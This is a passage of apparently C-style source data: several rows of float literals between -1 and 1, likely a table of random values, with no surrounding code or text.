-0.178859131737947f, -0.388167582041093f, -0.0593965887764258f, -0.638517356081890f, 0.804955770174156f, 0.220726627737384f, 0.263712659676167f, -0.214285245576410f, -0.267640297291737f, -0.268009369634837f, -0.957726158424482f, 0.708674977585603f, 0.336764494287156f, -0.985742981232916f, -0.883053422617300f, 0.560301189759340f, -0.692967747323003f, 0.977419052658484f, 0.0749830817523358f, 0.916618822945019f, 0.941660769630849f, 0.454145712080114f, 0.176036352526593f, 0.103229925297037f, 0.936507745325933f, -0.870159095287666f, -0.106465234217744f, 0.684178938709319f, 0.669775326656340f, -0.620857222834950f, 0.939074959093680f, -0.592224920792423f, 0.620706594809134f, 0.0456831422421473f, 0.738727999152789f, -0.751090911501446f, 0.683669216540363f, 0.153825621938168f, -0.255671723273688f, -0.773772764499189f, -0.667753952059522f, 0.887641972124558f, -0.664358118222428f, 0.512196622998674f, -0.0234362604874272f, 0.942878420215240f, -0.406617487191566f, -0.140379594627198f, -0.0587253931185765f, 0.419570878799757f, 0.533674656399007f, 0.108777047479414f, -0.695880604462579f, 0.481525582104998f, 0.511165135231064f, 0.136105196996658f, -0.481918536916982f, 0.757546893769363f, 0.957648176032083f, -0.908743619686586f, -0.395640537583668f, 0.0493439519763970f, 0.293569612893396f, 0.387420368421925f, 0.0928482742403196f, 0.407302666835821f, -0.787979245337637f, -0.968269218296593f, -0.409517247978962f, 0.775076200793689f, -0.217738166217447f, -0.370002483875998f, -0.570975789421316f, 0.844070553036478f, 0.668620483679341f, 0.00139813137293987f, -0.0912495442122028f, -0.0375370940595317f, 0.723007849224616f, 0.369999774115317f, 0.862240371150479f, 0.749525689790910f, 0.742992309993137f, -0.495813719545874f, -0.101947508108870f, -0.152536889610560f, 0.0598123624723883f, -0.436496899502871f, 0.520026918467263f, 0.241005798945400f, 0.970456690492966f, -0.376417224463442f, 0.614223236672359f, 0.336733945081746f, 0.376602027190701f, 0.00373987228923456f, -0.415425448787442f, 0.330560415319813f, -0.277250467297048f, 0.861008806111330f, -0.00655914035278493f, 0.810375656135324f, -0.0113631690466840f, -0.191699616402287f, -0.808952204107388f, 0.813180054552450f, 0.472985418265257f, 0.180147510998781f, -0.262580568975063f, 0.211152909221457f, -0.882514639604489f, -0.575589191561861f, 0.106927561961233f, 0.964591320892138f, 0.738192954342001f, 0.687649298588472f, -0.229142519883570f, -0.354434619656716f, -0.420522788056562f, 0.684638470896597f, -0.608080686160634f, 0.172668231197353f, 0.571295073068563f, -0.202258974457565f, 0.183035733721930f, -0.425589835248751f, -0.181955831301366f, 0.798193178080558f, -0.719799491928433f, -0.376418218727565f, 0.100370714244854f, -0.674685331738723f, -0.528950922374114f, 0.480443520097694f, 0.432497368954013f, 0.887439714903326f, 0.598241701759478f, -0.250064970303242f, -0.743111010477448f, 0.936189907099845f, -0.867383557331633f, 0.852536175309851f, -0.426378707286007f, 0.793838638663137f, 0.856262917294594f, 0.734157059815547f, 0.00452009494051664f, -0.884258713402709f, -0.0835595438259760f, -0.735457210599502f, -0.710727075357488f, 0.858050351034768f, -0.626070522205317f, -0.848201957131499f, 0.0180933910837406f, -0.0350884878366737f, -0.893836321618480f, -0.0682788306189803f, -0.539993219329871f, -0.557660404374917f, 0.268969847256868f, 0.505363999910409f, -0.0464757944714727f, -0.529689906951922,
-0.138445378586710f, 0.992531054118938f, 0.974585450054910f, 0.940349645687053f, 0.648085319100986f, -0.410736404028701f, 0.804131759246012f, -0.774897101314247f, 0.178246382655493f, -0.361699623232501f, -0.836093509684016f, 0.806309487627613f, -0.758182371322663f, 0.718410035716663f, -0.213136487421868f, -0.0563465521625497f, 0.0411192849612654f, -0.532497330327019f, -0.0419839515250475f, 0.769432068229678f, 0.253556234192255f, -0.745131216530268f, -0.890639235422577f, -0.140643637034330f, 0.318127074868768f, -0.497415632768561f, -0.383508820416842f, -0.468783454456628f, -0.289531078129000f, -0.0831555730758713f, 0.0107128404847427f, -0.567754537918270f, 0.926366772604370f, -0.600154724486768f, -0.0920759547805206f, 0.889582307602381f, -0.0710437157605615f, -0.182724716112986f, 0.228135065644420f, 0.851015495602628f, 0.653035806598961f, -0.986676404958677f, -0.871714951288816f, -0.824734086356281f, -0.490239304888267f, 0.244318295619814f, -0.923794688606381f, 0.670566388343457f, 0.849438492633058f, -0.225318912425116f, 0.461075616917687f, 0.656436404012820f, -0.416403369651597f, 0.205630417444150f, -0.163509095777762f, -0.0670299490212758f, -0.315561491397908f, -0.0952855008191476f, -0.377993693497066f, 0.860172853824826f, -0.669622978211317f, 0.595058880455053f, -0.425661849490015f, -0.0405359106780283f, 0.129968697438974f, -0.156244199842099f, 0.996996665434629f, -0.888570357356090f, -0.925646614993414f, -0.753998082238076f, 0.714491335460749f, -0.307849905639463f, 0.536274323586448f, -0.462944722411129f, 0.622202376598447f, -0.215582012734053f, -0.115115003363232f, 0.128168110175570f, -0.556263623663708f, 0.921813264386344f, -0.288173574121268f, -0.175054002159610f, 0.0621862747516269f, -0.468862899314091f, 0.976184545317535f, 0.468469061953779f, 0.679394669665911f, -0.0651943232114096f, 0.872740953203360f, -0.917720162541254f, 0.271535917769933f, 0.265441861283112f, 0.542190484993772f, -0.0208550501604048f, 0.983272473294640f, -0.522164666401537f, 0.833823680455458f, 0.414337644113416f, 0.588576354535126f, 0.318369292694380f, 0.870442561030567f, -0.422722224743553f, -0.200185003922166f, -0.770185495487048f, -0.878134057034045f, -0.712873198675798f, 0.647706512601268f, 0.593648188899773f, 0.126171748161942f, -0.189622212946038f, 0.707877641788638f, 0.790070498218410f, 0.698576567863428f, 0.594748885238005f, 0.567439045931572f, -0.591839707769224f, -0.632709967090349f, 0.415471238430617f, 0.115403276784208f, -0.375797954748234f, 0.123611001678020f, -0.864109581464288f, 0.115346512920739f, -0.515581940111704f, 0.880606114362175f, 0.356011740142007f, -0.318112820131587f, 0.765766689783476f, -0.226772670084743f, 0.442067390135885f, 0.348547568069751f, 0.862154389627291f, -0.894863284060244f, 0.475714942110286f, 0.552377629980789f, -0.0838875341374268f, -0.227654706745770f, 0.0998522598030438f, 0.870812229993830f, -0.518250234958224f, -0.0635791579471283f, -0.284101882205902f, -0.454751668241269f, 0.720773434493943f, 0.0756117818245317f, -0.0572317848090118f, -0.692584830354208f, 0.776250173796276f, 0.514052484701885f, 0.00770839936587864f, 0.775668871262837f, 0.933055956393907f, 0.0501713700022097f, -0.922194089981246f, 0.266653852930886f, -0.408584553416038f, 0.797066793752635f, -0.785570848747099f, 0.931403610887599f, 0.660859952465710f, -0.630963871875185f, -0.673000673345695f, 0.518897255252506f, -0.342041914345720f, 0.405613809903414f, -0.373516504843492f, -0.208292396009356f, 0.0510871025610438f, 0.396765368381847f, 0.00537609874241829f, 0.935717099427788f, -0.564801066383885f, -0.907523685862547f, 0.670551481631625f, -0.457309616171932f, 0.364001526470449f, 0.140805524345232f, -0.349945327329409f, -0.0361532758624807f, -0.304268551311720f, 0.618482952755668f, -0.0120110524971313f, 0.106364353621731f, -0.427587198043230f, 0.464249033810121f, -0.808297048471569f, 0.675277128303038f, -0.0663762607268352f, -0.431951364170808f, 0.953951718476660f, -0.725934553905574f, -0.685163723789561f, 0.164132617720945f, 0.934798872032034f, -0.695343627424553f, -0.420317401094920f, -0.689247558220342f, -0.605894279765940f, -0.693832779320227f, 0.455037128281788f, 0.968645000038447f, -0.0839147410947130f, 0.603463489419899f, 0.776913738299999f, -0.491560292499776f, 0.692235227850848f, 0.0824017593921889f, 0.459024952691847f, -0.918050509352710f, -0.777463066447746f, -0.161045596440278f, 0.982603547894360f, 0.700884888820475f, 0.998304481713913f, -0.362488733430088f, 0.171493948866881f, 0.565871153533442f, -0.965620428705067f, -0.835532968802398f, 0.885598629033760f, 0.609604257914327f, 0.725300244775050f, 0.153524048564152f, -0.662541112390878f, 0.912145212201290f, 0.135610445338421f, -0.0813934125800109f, 0.242209063597546f, -0.264886126609115f, -0.335070345839122f, 0.823958964903978f, -0.313110855907701f, -0.354068037633970f, -0.0381190024996405f, 0.117794735211134f, -0.604442743379238f, 0.524930955656444f, -0.754959642694882f, -0.359151666678207f, -0.247910739722172f, 0.573570999369016f, 0.543167570010806f, -0.718553346110069f, 0.202415372555816f, -0.860091438569300f, -0.0125446132328610f, 0.509348782140749f, 0.349261188228469f, 0.424395913611831f, 0.0557092265870811f, 0.740276822496471f, 0.479158001215769f, -0.221873518706244f, -0.744883456979009f, 0.393114117430743f, -0.733203119089531f, -0.506531269498885f, -0.505532097672033f, -0.509440981371663f, 0.666118722468113f, 0.0164067375520756f, -0.530276655546078f, 0.786338654343788f, -0.985008085364936f, 0.479988836226036f, -0.233652481382475f, 0.838641098910395f, -0.407379719374768f, -0.314266358910263f, -0.938033692224531f, -0.627320971378707f, -0.229174127295511f, 0.642505983671691f, -0.387855473250297f, 0.360324209821339f, -0.900766206699468f, 0.176676285751262f, 0.833894117554548f, -0.0207873177403817f, -0.202625183820044f, 0.706644325019314f, -0.817922707040537f, -0.242742059004419f, 0.282109349674866f, 0.0164603911954744f, -0.504625902855950f, 0.0415496120997125f, -0.787777778295785f, 0.362588721999523f, -0.371357162843751f, -0.818375262182416f, 0.727779997467707f, -0.836502839702384f, 0.0423869176265037f, -0.283934686546853f, 0.665864224978728f, -0.0428162304637920f, 0.243534621880753f, -0.803789304599586f, 0.570866852088607f, 0.340615579467880f, -0.323456502239327f, 0.403242371952148f, -0.0679158901587793f, -0.866985651416456f, -0.439873628406335f, -0.246357367033863f, 0.436234859832243f, 0.560714706225535f, -0.632564381913014f, -0.316451076258298f, -0.977122780282003f, 0.0741405862954117f, -0.217862250253606f, 0.887093089232476f, -0.418281865182365f, -0.638553415535034f, -0.262631979211197f, -0.567499176465252f, 0.676178859605923f, 0.933551699581608f, -0.0139735129263516f, -0.610719575803582f, 0.565123751720690f, 0.230672823422021f, 0.323935439339366f, 0.635142215896104f, 0.981184609133698f, 0.883668802319366f, -0.281281673616891f, 0.583204242495555f, 0.150854689098149f, -0.775890223139644f, 0.419951701513177f, -0.565767744791652f, -0.855232478054420f, 0.472188579901153f, -0.501463211798228f, 0.727960518524943f, 0.977187851385321f, 0.908113737694915f, -0.570200931535418f, 0.716036980035073f, 0.147838037485588f, 0.218820342222622f, -0.0673193461152677f, 0.433612519652386f, 0.449601736390411f, 0.556458722303960f, 0.417345590820787f, -0.783345413347895f, 0.858903187230710f, 0.178354025272247f, -0.130619018471658f, 0.858282827806003f, 0.508916167873459f, 0.139535936201634f, 0.240400109521332f, -0.102942705407161f, 0.841682417072375f, -0.696350979494975f, -0.793644449061670f, -0.698273636720141f, -0.228676865074326f, -0.195917865828574f, -0.306483109792438f, -0.865320326812636f, 0.659185969805107f, -0.368847387975239f, 0.337343722359231f, 0.0723822170210744f, 0.907475280998826f, 0.515168301614856f, 0.0790167120323961f, -0.756697420780699f, 0.966477562469936f, -0.663190129982788f, 0.145761851826854f, 0.376079225193173f, 0.631883071958707f, -0.956568110802436f, -0.735990864315730f, -0.795999578321461f, 0.958459465243432f, 0.319180429028702f, -0.907664654881857f, 0.992381284978014f, -0.511208110440365f, -0.714797966909523f, -0.717021870210999f, 0.545775837604423f, -0.0443828768329362f, 0.333311879948434f, 0.617237628406207f, -0.0895192882305207f, 0.506491005527430f, -0.354205929841282f, 0.777993157224477f, -0.667532693120319f, -0.105006112097613f, -0.337191911902220f, -0.337964429160738f, 0.609014812897482f, -0.368922911475613f, 0.889184378947484f, -0.676392242654630f, 0.429716870038086f, 0.916751115281822f, -0.655611878274175f, 0.538928395264007f, 0.382674384886170f, 0.0580742902089004f, -0.0124611362991478f, -0.0240388340005702f, -0.726296501832402f, -0.805701334732693f, 0.945344279474230f, -0.668066000378724f, 0.761436128738929f, -0.314275650172792f, -0.394331510439346f, 0.262887592668013f, 0.155064800148016f, -0.561829218656134f, -0.491542446753775f, 0.922248338472926f, 0.574575887413700f, 0.631722295929094f, -0.368854197209698f, 0.984780657580794f, 0.845286034922662f, -0.965631634115590f, -0.435710392440405f, -0.616488688868478f, 0.885865616625930f, 0.425733070487506f, 0.776721663555227f, -0.0652930284860209f, -0.734431875923792f, 0.725517937762654f, -0.474146253075108f, 0.895357779508529f, -0.0725048758018345f, -0.360185856190223f, 0.559350280666427f, 0.363695103660096f, 0.152231254765544f, 0.698196273442671f, 0.0518001104801953f, -0.139037096279713f, 0.340637636595997f, 0.584243998596814f, -0.442304329829130f, -0.501574294329747f, 0.250155103662225f, 0.320493999001502f, -0.150217982700108f, -0.0381390799255577f, 0.734760815545772f, -0.574574233376749f, 0.593440338163725f, 0.408049858247104f, -0.0845023181203484f, -0.855507806920297f, -0.473198309372409f, 0.331033392104072f, 0.196445364460658f, -0.799745050834061f, -0.973517526224363f, 0.333748727500822f, -0.772356831553232f, -0.430793038424357f, 0.649852557262489f, 0.504357958431509f, 0.779588082810134f, 0.0111847677569461f, -0.995526851285634f, -0.676007517368195f, 0.216774012875664f, -0.618928775636485f, -0.418043155155598f, -0.532063904545563f, -0.566979013994587f, 0.246319907266774f, 0.868651379198082f, -0.0433430896891542f, 0.463004686009427f, -0.162112430964754f, 0.285379745117090f, 0.901512987149549f, -0.706916206313139f, 0.685678130935725f, -0.673017501666538f, 0.0616272859909088f, 0.147532779463338f, -0.0108539826652629f, 0.960841184863269f, -0.950190006701182f, 0.992171414792924f, 0.715577145884581,
0.975908103138584f, -0.769014520827696f, -0.463212420186382f, -0.0761813427220397f, -0.704830850508594f, -0.220579724380686f, 0.840893269946637f, -0.432181989863148f, -0.956790418498701f, 0.122344784859397f, -0.242133592220528f, 0.908514497715246f, 0.303653521236872f, 0.756500828196849f, -0.752207807361831f, 0.367894642791072f, -0.702474131286247f, 0.189226989057138f, 0.401804209353236f, 0.608493473010907f, -0.437378101171900f, -0.158801297891213f, -0.381027984311046f, -0.949403985394057f, 0.370189685252539f, -0.872655295458655f, -0.337934909993878f, -0.0619622888328213f, 0.352094440420005f, 0.128759637109350f, 0.432413186229881f, -0.497474226759161f, 0.552933107875735f, 0.332665936587804f, -0.559261497212156f, -0.886188834336549f, 0.0170548801295034f, 0.192729852728271f, -0.674432365770129f, -0.526014722983374f, 0.425009223123802f, -0.186164676538888f, 0.190362042383007f, -0.0930204201587825f, 0.794188212052413f, -0.243549629178106f, 0.118970185744958f, -0.216230226310237f, 0.412570247218594f, 0.659556685538155f, -0.150540425515543f, -0.850858266540316f, -0.843827815842486f, 0.629298164439457f, 0.944304062363374f, -0.117764731240517f, 0.558568737697335f, 0.731745392387362f, -0.00413812760139165f, -0.251933493011685f, -0.473346352965658f, 0.178783613032362f, 0.547769344759580f, -0.414330113592064f, -0.550251453379012f, -0.925253680779905f, 0.623832825809309f, -0.494251081521428f, 0.0643361026845244f, 0.727107898350051f, 0.814864886916156f, 0.0177325632172460f, 0.749324691554934f, -0.266301024849295f, 0.675202550635588f, -0.0748462128620644f, -0.747853513216831f, -0.222563643557406f, -0.608884446788701f, -0.0374135649675464f, 0.852579123003940f, -0.585927920129879f, 0.604065857569210f, 0.573072924781108f, 0.816831955879520f, 0.723975232584095f, 0.367887024581694f, 0.765292601085641f, 0.836490699448589f, 0.623434131440044f, 0.743568762340577f, 0.140474444458222f, -0.746327891490507f, 0.700496422194197f, 0.549693846244016f, 0.729372970291116f, 0.728185563682229f, -0.614909046853182f, -0.756209631211223f, -0.530222413502955f, -0.312453162783936f, -0.752364704008701f, -0.634475515424180f, -0.133239439768175f, 0.252790153178337f, 0.760626105409900f, -0.838262213452153f, -0.266093046689486f, 0.549339088324875f, -0.278178592347115f, 0.190458706141960f, 0.906814275056971f, -0.579827980376046f, -0.134191470195968f, 0.244720998349483f, 0.795502128014338f, 0.287019836683889f, -0.906277889518234f, -0.817071933038363f, 0.613378274793081f, 0.518208081766432f, -0.388902790616382f, -0.785778461147273f, 0.574976429920521f, -0.283168065839246f, -0.857322381041868f, 0.424932015236353f, 0.919756642423073f, 0.412896759578072f, -0.976511020897041f, 0.157825653359643f, -0.0606591903280758f, 0.508438714729350f, -0.513115001652116f, 0.881391940997543f, -0.129708782033534f, 0.382462819411800f, -0.538751535594113f, 0.816770663497783f, 0.869013288394013f, -0.728381721932439f, -0.956736333819522f, -0.839107107637575f, 0.394821058517234f, 0.721983518815999f, -0.0847231453556103f, 0.0206545030491683f, 0.414707730497861f, 0.246591855656934f, -0.546187573590839f, -0.578957978692654f, 0.162844799084821f, 0.493731081270802f, -0.765815587549615f, 0.151613093585910f, -0.112883397239635f, 0.879319928900002f, 0.295375250614654f, -0.505370201033860f, -0.635319167339584f, -0.309818465920078f, 0.768627024018538f, -0.544374452091825f, 0.758974060573473f, -0.106050973670013f, 0.508616501970226f, -0.207224226211215f, 0.616842248601645f, 0.688381226662374f, 0.643728558619948f, -0.906982649598668f, 0.526262112978799f, -0.666644270400075f, 0.314806313630502f, -0.292000096972562f, -0.358353880616007f, 0.156344541906829f, 0.637606941586786f, -0.199572501073669f, -0.669369278061572f, 0.237513395315133f, -0.576741807179552f, 0.0750117203638310f, -0.633877533594996f, 0.829285089669934f, 0.622345234313277f, -0.892617583855908f, -0.280449892200797f, 0.241147361581176f, -0.0784016295955696f, 0.414945819313502f, 0.287238318044040f, -0.691458270387106f, 0.597656137422422f, 0.549022082569726f, -0.590776624040652f, 0.666740423918019f, -0.743115212424850f, 0.164036350785269f, -0.229427480781113f, 0.283602991107853f, -0.533993445778340f, 0.185806116700093f, -0.317953364055307f, 0.140412503708198f, 0.280706883979940f, 0.0439806827213221f, 0.176471515460512f, -0.614144204292693f, 0.314194083857125f, 0.519572839644130f, -0.850547081260782f, -0.515460990713008f, 0.353087995032390f, -0.0241014119925820f, 0.269453276643829f, -0.608515317887958f, -0.777818225534647f, -0.834277444316067f, -0.842707175235771f, -0.929547602540323f, -0.884691870945475f, 0.710591809809692f, 0.143423776629673f, 0.797136471728128f, 0.233311155245426f, -0.923169961754164f, 0.627911916101674f, -0.338187201367212f, 0.211044396110784f, -0.443699655795038f, 0.256593551969761f, -0.406688684034041f, 0.364900889856600f, 0.900530571350288f, -0.160476177153537f, 0.0634217008071056f, 0.709241599309354f, -0.789562037599596f, 0.00891621061029158f, 0.801674768895422f, -0.704378031949125f, 0.430576706378041f, 0.796937507044124f, -0.193348850174576f, -0.493924902919358f, -0.935781577118986f, 0.468142331108629f, 0.00965840085728753f, 0.0834398764999438f, 0.599712941235232f, -0.735675950275295f, 0.200152501800787f, -0.751603779675650f, 0.0697488403240092f, 0.300634243862625f, -0.901969784333300f, -0.958816237033024f, -0.754976119377363f, 0.719702182489622f, -0.338038642556184f, -0.703280944186943f, -0.579148694005994f, 0.556115731092296f, -0.920710928208685f, -0.278178108839470f, -0.793795308512285f, 0.916547680808212f, 0.419467216101691f, 0.177932177026735f, 0.682833725334600f, -0.926849803428705f, 0.179045225389745f, -0.209414969718359f, -0.889551871881532f, 0.961659420127890f, -0.250341627298645f, 0.105606170554974f, -0.547860346689080f, 0.845704098204057f, 0.886892635683680f, 0.768134466622042f, -0.954777823503721f, -0.718106389777233f, -0.580779231998609f, -0.0241800476518665f, 0.815063484178525f, -0.351971452344303f, 0.770369263680192f, 0.520886146470712f, -0.236456125482696f, 0.0900173391919312f, -0.00610611501589697f, 0.0986788038317752f, 0.277083194173223f, 0.0877085076786761f, 0.695814138412262f, 0.281021332783082f, -0.701468161850407f, -0.785496560046616f, -0.805623403379156f, -0.0524204125046179f, 0.0836418099696601f, 0.467252832788807f, 0.148967572323544f, 0.314141193557124f, -0.722297309069329f, 0.147068590429361f, -0.868307069306109f, 0.118712645744921f, 0.737896544941878f, 0.897526485681248f, 0.842207508585120f, 0.817408479766998f, 0.522315328909182f, -0.409136979179218f, 0.580654760034574f, -0.384701243761730f, -0.769398544059918f, -0.791317178699730f, 0.357020281620118f, -0.235410423267782f, -0.326332500533018f, -0.416891876268284f, -0.863029987000052f, 0.505171215727166f, -0.728709553380428f, 0.554546891580919f, 0.737429989077498f, -0.355088598334119f, 0.911987317939763f, 0.525846127625130f, 0.851549830104189f, -0.772303673276796f, 0.0421942169353806f, -0.521836640530782f, 0.995279650924240f, -0.186831960875832f, 0.421233670121556f, -0.0891583750230474f, 0.661100169663965f, 0.393809652414978f, 0.346165179707090f, 0.384203760628548f, -0.329281932973211f, 0.446133401546675f, -0.748200766224366f, -0.0275154142375615f, 0.771701580845288f, -0.0177829993094090f, 0.406813206251131f, 0.606021648140155f, 0.218435152341115f, 0.236571855064013f, -0.513495776515847f, 0.729086381137554f, -0.137775825035815f, 0.0320966747364262f, -0.313487802206023f, 0.105472520924239f, 0.423606700821375f, -0.231301628369264f, 0.465218832919270f, 0.379671652150568f, -0.00497780485272159f, 0.509290230688327f, 0.467240127182068f, 0.353587964503845f, 0.390455232684039f, 0.721536288927627f, -0.838922323815237f, 0.827628029266859f, 0.768844149796201f, -0.813963144642386f, -0.797054297232628f, -0.933039367361175f, -0.0723957249866136f, -0.664824147893300f, 0.695914840901794f, -0.206071660300270f, 0.879389414398409f, 0.181872681691416f, -0.582831210733033f, 0.624249199449935f, 0.204959730900228f, 0.354831594370532f, 0.337152636438178f, 0.596132114241829f, -0.295619496794481f, -0.443402055665686f, 0.743995051028396f, 0.543706744165365f, 0.825846155044062f, -0.764982315603181f, -0.0355223730700034f, -0.682467026736627f, -0.914037445162109f, -0.222823484413727f, 0.825323277024566f, 0.0769459194171547f, 0.696453968928934f, 0.760786120466962f, -0.525470048583831f, 0.764981036001869f, 0.458525204937000f, -0.612703584870878f, 0.626016142683351f, 0.284799326870320f, -0.130410894642153f, -0.730659587111424f, 0.0251896513929686f, 0.744421417725379f, 0.481278905427271f, -0.718686189713675f, -0.972110566787501f, -0.178005803066219f, -0.761536801353512f, 0.675177569459847f, -0.613068600254845f, -0.854757540148688f, 0.641823580903407f, 0.112536000301536f, 0.201235170163357f, -0.332623522893231f, 0.602028236317460f, 0.487529253813741f, -0.936537443253385f, 0.932862477850079f, -0.0977461167435834f, -0.485449569929182f, -0.575807340541437f, -0.920527242558033f, -0.938208754460503f, 0.890054000488493f, -0.154888511872567f, -0.106629818916523f, 0.323343252623500f, 0.105328135407289f, -0.837197492121459f, 0.497769113944639f, -0.234127101891878f, 0.840922493788059f, -0.994297350473539f, 0.241966031396186f, -0.241143860453769f, -0.598953146106117f, 0.839112451637864f, -0.639567866338402f, -0.219908091959649f, -0.778137266578287f, -0.201424793310289f, -0.486105622640452f, 0.874947034932591f, -0.131437343585340f, -0.674427373037920f, -0.161007203320351f, 0.215285933912207f, -0.963047650748652f, -0.841020847986178f, 0.259702280444602f, -0.165325097679823f, 0.572379756389254f, -0.435802768396928f, -0.0776125194906274f, -0.0293182206559168f, -0.847945015803839f, -0.576891917046364f, 0.728544652294888f, 0.110676857648527f, 0.760459056611184f, 0.486936926897001f, 0.680603035572503f, 0.330358411271561f, 0.901153157113818f, -0.893323547516767f, 0.268679990552354f, 0.794615743189695f, 0.221637368947158f, -0.0207579360252996f, -0.585634995914835f, 0.587646126395593f, -0.317780705107399f, 0.790321547328449f, 0.251610679655279f, -0.0386445267248654f, 0.881542790650722f, -0.469258891944944f, -0.900544881246558f, -0.344978220866601f, -0.271404539202745f, 0.863631450621357f, 0.805892242474368f, -0.325004362330199f, -0.649692260224921f, 0.535815472185538f, 0.427767946389023f, 0.924517987543855f, 0.571059970962007f, 0.549923246060706f, -0.639468249016352,
0.307213071097954f, -0.885892976847170f, -0.526002656640427f, 0.733743042788359f, 0.186919211020217f, 0.322167483598106f, -0.933484010727969f, 0.307181642341518f, -0.391959805653480f, -0.892298105797306f, 0.100065710151584f, -0.932962740784651f, -0.643536993204857f, 0.200747180046148f, 0.310831344540979f, -0.923416823619512f, 0.440768799148345f, -0.666930667413366f, -0.485487251971431f, -0.0627811951952384f, -0.331082293469460f, 0.0335811939608148f, -0.653610782697787f, -0.320586426505716f, 0.559163070852115f, -0.497363452770543f, -0.329886484503569f, -0.146612217140156f, -0.0265272745798242f, -0.288663397675155f, -0.996138396801714f, 0.705746028666908f, 0.634215549629091f, 0.165248482682243f, -0.110791752682943f, -0.0583711657160508f, 0.704663932851230f, 0.105987046073574f, -0.674234600022039f, -0.852792911043127f, 0.779458558047699f, -0.506163961277651f, 0.661431789813829f, 0.362986600662932f, 0.677673397902417f, 0.909704544299484f, -0.678129611146149f, -0.700854916363125f, -0.954905799366644f, 0.819329178422143f, -0.278866438326573f, 0.240572863896085f, -0.597973444252616f, 0.520707363092687f, -0.891796539359942f, -0.0707113684027092f, 0.730270237241197f, -0.202809887987925f, 0.712903235793333f, 0.815918058519912f, -0.619284883130692f, 0.620432327799984f, 0.215462902206797f, 0.913706499476201f, -0.284266999538807f, 0.137669223817851f, -0.320599930994154f, -0.279885143029947f, 0.0759863610502050f, 0.362519848337183f, 0.0897184432777523f, 0.730407126330006f, -0.715664883515070f, -0.964294244830797f, 0.337668374417089f, 0.563780948124681f, 0.534272089774928f, 0.670003495251274f, 0.976582736706313f, -0.576021162432801f, 0.318863740329612f, 0.374838616807691f, 0.437628782275460f, 0.629331465907672f, 0.800673318445353f, -0.964950925853698f, -0.115288102568929f, 0.581179798077059f, 0.892103220665649f, -0.224009831257430f, -0.486848659265476f, 0.768601825625188f, -0.478996958061453f, 0.987216084861456f, -0.00828256241998737f, 0.443388113322642f, -0.209225960405120f, 0.784392408672073f, -0.821157008960409f, 0.169088259578466f, 0.188648958653604f, 0.796321723736402f, 0.804915614204973f, -0.947435972579018f, -0.320368366702004f, -0.0857043727442930f, -0.229914128505395f, -0.802013870592427f, 0.497444368231634f, 0.791040716463223f, 0.586369970276563f, 0.871236424247704f, 0.770091868124107f, -0.458396647683594f, 0.871149873224889f, 0.753895449519495f, 0.295832468734546f, 0.574616471536691f, 0.384408809311353f, -0.978021020306570f, 0.0397482936794495f, 0.628095200786834f, -0.968059492217325f, -0.404306711220928f, 0.659301030460980f, -0.345766174675525f, -0.0517956907600681f, -0.640289082986305f, 0.965202733073502f, 0.909703156044274f, -0.744545066259015f, -0.676836498528477f, 0.0507393165493961f, 0.394673166210436f, 0.250366706754377f, -0.287411651947684f, -0.521760552601739f, 0.214487178617345f, -0.922260536787078f, -0.970217444063294f, -0.632705652784150f, -0.720016326822300f, -0.506393579710801f, 0.774172771450182f, 0.891546338793249f, 0.559706491124446f, -0.513481979527671f, 0.735727350850420f, -0.207760672132971f, 0.956672164225499f, -0.516696999265124f, -0.846015525317730f, -0.199370940530009f, 0.927580907007946f, 0.669786891276299f, -0.208316500739886f, -0.349932032863852f, 0.382722440637189f, -0.455635180187178f, -0.573852668753046f, 0.237990995216907f, -0.00210628303929439f, 0.846035951941252f, 0.921932267818374f, 0.141873820779935f, 0.871317167610738f, -0.632607355185838f, -0.565801401210940f, -0.959881482283947f, -0.732559764685905f, -0.655277252471118f, 0.136770193226314f, 0.206392768880907f, 0.0946932052352707f, -0.147722827344946f, 0.142504821799194f, -0.891443939735724f, -0.660161817562772f, -0.918683225740157f, 0.524851053279394f, -0.841532325411647f, -0.662931925252737f, 0.450018807591706f, 0.157794014139767f, -0.562525486647545f, 0.604051451992330f, 0.859220943805127f, 0.943321402026900f, 0.511188518123118f, -0.332990520726740f, 0.904709059147998f, -0.336911302156504f, -0.0329301811082998f, 0.307263624236174f, -0.640655394434152f, 0.791676792853669f, 0.450137270831791f, 0.746000232170803f, -0.915436267533878f, 0.976514418439799f, 0.828073391112522f, 0.990695018409237f, 0.419713963781614f, -0.286897378037841f, 0.111527193084439f, -0.956913449095442f, 0.263769440437253f, 0.534739246489713f, -0.918314908283506f, 0.680501951418845f, -0.0258330390798596f, -0.696521999550769f, 0.274590593565720f, -0.821334538131451f, 0.104139627465949f, -0.790104923997319f, 0.399265830301725f, 0.118854169469537f, 0.309552488812324f, -0.961100729890863f, -0.665645274594184f, -0.125767140532335f, 0.377154316156289f, -0.971986633153292f, -0.148225730575294f, -0.801072242848910f, 0.735673216754228f, 0.247753694178141f, 0.759093842520115f, -0.529946694334253f, 0.594235069164038f, -0.801015868726278f, 0.141962211231124f, 0.135473683510959f, -0.0431660672944612f, -0.437176231417910f, 0.467008031415084f, 0.324675317141816f, 0.122578305547357f, -0.0351479470228342f, -0.437236315511244f, -0.822621846670407f, 0.989461679354308f, -0.242059902390237f, 0.800837521050356f, -0.387832478851607f, 0.316362161826139f, 0.602440060427024f, 0.890992007298149f, 0.319686042477150f, 0.930326885903916f, -0.170779817104763f, -0.437602177375177f, 0.835764105962134f, 0.522922752459604f, 0.295156847627349f, -0.857646277751538f, -0.451421990712551f, 0.752856133268497f, -0.826193868550830f, -0.906961130052697f, 0.118621494342013f, -0.627099634988204f, 0.163256363060383f, -0.719362770410877f, -0.576563943780491f, -0.369939711177846f, -0.294180430088591f, 0.868430622614485f, 0.945955651201780f, -0.879259966782947f, 0.376142233233261f, -0.549019623646418f, -0.366403875933169f, -0.631308623984507f, -0.398270064613022f, 0.631780765950599f, -0.497821177556814f, -0.0754938097555216f, 0.358298259390762f, -0.438971283619577f, -0.835962846436280f, 0.771544885338102f, 0.132031497593111f, 0.0964144932127649f, -0.171144812197942f, 0.734241841669664f, 0.773828279651661f, 0.591442573315395f, 0.449840299498767f, -0.249196666141921f, 0.910274822633449f, -0.623687862912847f, -0.954398427932048f, 0.700975370671540f, -0.128268698036002f, 0.723971772247224f, -0.239872317271662f, 0.599101633280873f, 0.323504979356466f, 0.726076237951951f, 0.775013638477775f, -0.736157118505210f, 0.681129332563739f, -0.989456914597076f, -0.860559243921100f, -0.652547050354339f, 0.227533741410917f, 0.263244425371628f, -0.412800042549063f, -0.774547399227093f, 0.959749220773555f, 0.0285018454625012f, 0.0260964660594436f, -0.817249773797516f, -0.275510098931589f, -0.957071090655421f, 0.755874233806472f, 0.0601247360044190f, 0.155148678178749f, 0.744458452388040f, 